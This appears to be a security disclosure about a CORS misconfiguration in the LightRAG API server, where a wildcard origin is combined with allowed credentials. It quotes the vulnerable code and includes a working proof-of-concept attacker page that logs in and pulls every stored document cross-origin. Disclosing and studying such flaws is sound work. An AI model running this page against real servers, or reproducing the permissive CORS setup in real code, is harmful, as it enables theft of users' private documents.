LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

 1# lightrag/api/config.py:639
 2args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard
 3 
 4# lightrag/api/lightrag_server.py:1379
 5app.add_middleware(
 6    CORSMiddleware,
 7    allow_origins=["*"],       # any origin
 8    allow_credentials=True,   # credentials — PROBLEM with wildcard
 9    allow_methods=["*"],
10    allow_headers=["*"],
11)
12 
13# Starlette CORSMiddleware (confirmed in source):
14# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
15# = not True or True = True  → echoes the requesting origin back, not "*"
16# Result: every origin receives Access-Control-Allow-Credentials: true

 1<!-- attacker.com/steal.html -->
 2<script>
 3const TARGET = "http://lightrag-server:9621";
 4(async () => {
 5  // Get victim token (or re-use existing session)
 6  const r1 = await fetch(`${TARGET}/login`, {
 7    method: "POST", credentials: "include",
 8    headers: {"Content-Type": "application/x-www-form-urlencoded"},
 9    body: "username=victim&password=known_pass"
10  });
11  const { access_token } = await r1.json();
12 
13  // Exfiltrate all documents
14  const docs = await (await fetch(`${TARGET}/documents`, {
15    credentials: "include",
16    headers: { Authorization: `Bearer ${access_token}` }
17  })).json();
18  console.log("STOLEN DOCS:", docs);
19})();
20</script>